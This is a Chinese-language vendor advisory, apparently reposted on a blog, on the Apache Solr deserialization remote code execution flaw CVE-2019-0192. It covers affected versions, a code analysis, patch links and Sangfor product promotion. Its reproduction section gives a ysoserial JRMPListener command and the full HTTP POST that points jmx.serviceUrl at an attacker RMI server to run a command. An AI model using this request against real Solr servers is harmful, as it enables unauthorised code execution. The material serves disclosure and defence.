rmi远程代码执行漏洞_【漏洞预警】Apache Solr Deserialization 远程代码执行漏洞(CVE20190192)...

近日,Apache Solr官方团队在最新的安全更新中披露了一则Apache Solr Deserialization 远程代码执行漏洞(CVE-2019-0192)。漏洞官方定级为 High,属于高危漏洞。该漏洞本质是ConfigAPI允许通过HTTP POST请求配置Solr的JMX服务器。攻击者可以通过ConfigAPI将其配置指向恶意RMI服务器,利用Solr的不安全反序列化来触发Solr端上的远程代码执行。

深信服安全团队第一时间响应并发布预警信息,并将持续跟踪事态进展。

深信服安全团队风险评级:高危

漏洞名称

Apache Solr Deserialization 远程代码执行漏洞

威胁等级

高危

影响版本

Apache Solr 5.0.0 to 5.5.5

Apache Solr 6.0.0 to 6.6.5

漏洞类型

代码执行

利用难度

一般

千里百科-Apache Solr组件介绍

Apache Solr是一个开源的搜索服务器。具有高度可靠、可伸缩和容错的,提供分布式索引、复制和负载平衡查询、自动故障转移和恢复、集中配置等功能。

Solr为世界上许多最大的互联网站点提供搜索和导航功能。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。

Apache Solr 中存储的资源是以 Document 为对象进行存储的。每个文档由一系列的 Field 构成,每个 Field 表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性,默认情况下这个属性的名字是 id,在 Schema 配置文件中使用:id进行描述。

漏洞描述

Apache Solr中的ConfigAPI允许设置一个jmx.serviceUrl,它将创建一个新的JMXConnectorServerFactory,并通过“绑定”操作触发对目标RMI/LDAP服务器的调用。恶意的RMI服务器可以响应任意的对象,这些对象将在Solr端使用java的ObjectInputStream反序列化,这被认为是不安全的。这种类型的漏洞可以利用ysoserial工具。根据目标类路径,攻击者可以使用其中一个“gadget chain”来触发Solr端上的远程代码执行。

漏洞分析

首先需要了解一下configAPI,他主要功能是检索或修改配置。 GET负责检索,POST负责执行命令。通过传入set-property属性,构造恶意的数据,传入指向恶意的rmi服务器的链接,覆盖之前服务器的原设置,使得目标服务器与攻击者的恶意rmi服务器相连,攻击者可以使用ysoserial工具,通过rmi服务器向远端目标服务器发送命令,并在目标服务器上执行,实现远程命令执行。

漏洞触发点在JmxMonitoredMap.class中的newJMXConnectorServer函数中,此函数可以让服务器与新的rmi服务器相连接,并且每次调用此函数都会产生一个不同的对象。所以当攻击者通过覆盖传入自己的rmi服务器地址,目标服务器就会与之相连,执行内部的命令。

代码如下:

6b9bd4dae1fc8b3ee6e78400953507d1.png

漏洞复现

下载Apache Solr 5.5.3版本作为靶机(注意,一定要使用jre7u25以下jre),执行solr -e techproducts -Dcom.sun.management.jmxremote指令开启服务。

使用ysoserial工具,执行Java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12363 Jdk7u21 "calc"指令,监听12363端口。然后传入以下数据:

POST /solr/techproducts/config HTTP/1.1

Host: 127.0.0.1:8983

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-type:application/json

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 91

{"set-property" : {"jmx.serviceUrl" : "service:jmx:rmi:///jndi/rmi://127.0.0.1:12363/obj"}}

成功弹出计算器,如图:

c61e256c2cae47c3aa77dd915b3f86b3.png

影响范围

目前据统计,在全球范围内对互联网开放Apache Solr的资产数量多达15万台,其中归属中国地区的受影响资产数量为2万以上

目前受影响的Apache Solr版本:

Apache Solr 5.0.0 to 5.5.5

Apache Solr 6.0.0 to 6.6.5

修复建议

Apache Solr官方已经在Apache Solr 7.0 及之后版本修复了该漏洞,用户可以更新至Apache Solr 7.0 及之后版本:

http://mirror.bit.edu.cn/apache/lucene/solr/

Apache Solr官方已经发布了SOLR-13301.patch 补丁,用户需要安装补丁后重新编译Solr,补丁地址:

https://issues.apache.org/jira/secure/attachment/12961503/SOLR-13301.patch

深信服解决方案

深信服安全云在漏洞爆发之初,已完成检测更新,对所有用户网站探测,保障用户安全。不清楚自身业务是否存在漏洞的用户,可注册信服云眼账号,获取30天免费安全体验。

注册地址:

http://saas.sangfor.com.cn

深信服下一代防火墙可轻松防御此漏洞, 建议部署深信服下一代防火墙的用户更新至最新的安全防护规则,可轻松抵御此高危风险。

深信服云盾已第一时间从云端自动更新防护规则,云盾用户无需操作,即可轻松、快速防御此高危风险。

参考链接

https://issues.apache.org/jira/browse/SOLR-13301

时间轴

2019/03/07  

Apache Solr官方团队在最新的安全更新中披露Apache Solr Deserialization 远程代码执行漏洞

2019/03/11

网上已有部分攻击细节被披露

2019/03/12

深信服千里目安全实验室分析并复现该漏洞,发布漏洞预警以及产品解决方案

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值